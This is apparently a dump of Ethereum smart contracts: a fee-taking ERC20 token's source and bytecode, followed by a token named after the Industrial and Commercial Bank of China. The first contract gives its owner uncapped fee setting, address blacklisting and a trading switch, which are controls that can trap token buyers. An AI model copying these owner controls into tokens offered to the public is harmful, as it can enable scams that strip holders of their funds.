function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b557600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b610600565b005b34801561020a57600080fd5b5060408051808201909152600b81526a4d65737369616820496e7560a81b60208201525b60405161023b9190611a1f565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a74565b61069f565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50681e1de1d2515a911e005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611aa0565b6106b6565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601554610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae1565b61071f565b34801561037057600080fd5b506101fc61037f366004611b0e565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611ae1565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611b29565b610893565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae1565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610294565b34801561045b57600080fd5b506101fc61046a366004611b0e565b6108c2565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600781526609a8aa6a69282960cb1b602082015261022e565b3480156104c157600080fd5b506101fc6104d0366004611b29565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b42565b610939565b34801561050157600080fd5b50610264610510366004611a74565b610977565b34801561052157600080fd5b50610264610530366004611ae1565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b74565b6109d8565b34801561058657600080fd5b506102c4610595366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b29565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611ae1565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c31565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c92565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c31565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c31565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c31565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c31565b60005b82811015610a73578160056000868685818110610a2457610a24611c66565b9050602002016020810190610a399190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c92565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c31565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c31565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611cab565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611464565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a1f565b5060006112238486611cc3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d7611492565b90506112e383826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611cda565b816001815181106113c2576113c2611c66565b6001600160a01b0392831660209182029290920101526014546113e89130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611421908590600090869030904290600401611cf7565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611471576114716114f7565b61147c848484611525565b80610a7357610a73600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165e565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115378761168c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156990876116e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611598908661172b565b6001600160a01b0389166000908152600260205260409020556115ba8161178a565b6115c484836117d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190681e1de1d2515a911e0061163882826114b5565b82101561165557505060065492681e1de1d2515a911e0092509050565b90939092509050565b6000818361167f5760405162461bcd60e51b815260040161062a9190611a1f565b5060006112238486611d68565b60008060008060008060008060006116a98a600c54600d546117f8565b92509250925060006116b9611492565b905060008060006116cc8e87878761184d565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117388385611cab565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b6000611794611492565b905060006117a2838361189d565b306000908152600260205260409020549091506117bf908261172b565b30600090815260026020526040902055505050565b6006546117e190836116e9565b6006556007546117f1908261172b565b6007555050565b6000808080611812606461180c898961189d565b906114b5565b90506000611825606461180c8a8961189d565b9050600061183d826118378b866116e9565b906116e9565b9992985090965090945050505050565b600080808061185c888661189d565b9050600061186a888761189d565b90506000611878888861189d565b9050600061188a8261183786866116e9565b939b939a50919850919650505050505050565b6000826000036118af575060006106b0565b60006118bb8385611d8a565b9050826118c88583611d68565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112e381611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112e382611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca457611ca4611c7c565b5060010190565b60008219821115611cbe57611cbe611c7c565b500190565b600082821015611cd557611cd5611c7c565b500390565b600060208284031215611cec57600080fd5b81516112e381611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041a3ecc40d5ffa2a8135bfbb6fc1f0318043869bc71039e6c976075f3e5fa10964736f6c634300080d0033
[ 13 ]
0xf39949717210d86ad01ecc2cd2bf96f6aa2ee0ba
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ISB' token contract // // Deployed to : 0x116312c3471C2e7C34C52782D0399eBE601f3F30 // Symbol : ICBC // Name : 中国工商银行 ICBC Coin // Total supply: 1000000000000000000000000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ICBCCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ICBCCoin() public { symbol = "ICBC"; name = "中国工商银行 ICBC Coin"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0x116312c3471C2e7C34C52782D0399eBE601f3F30] = _totalSupply; Transfer(address(0), 0x116312c3471C2e7C34C52782D0399eBE601f3F30, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffff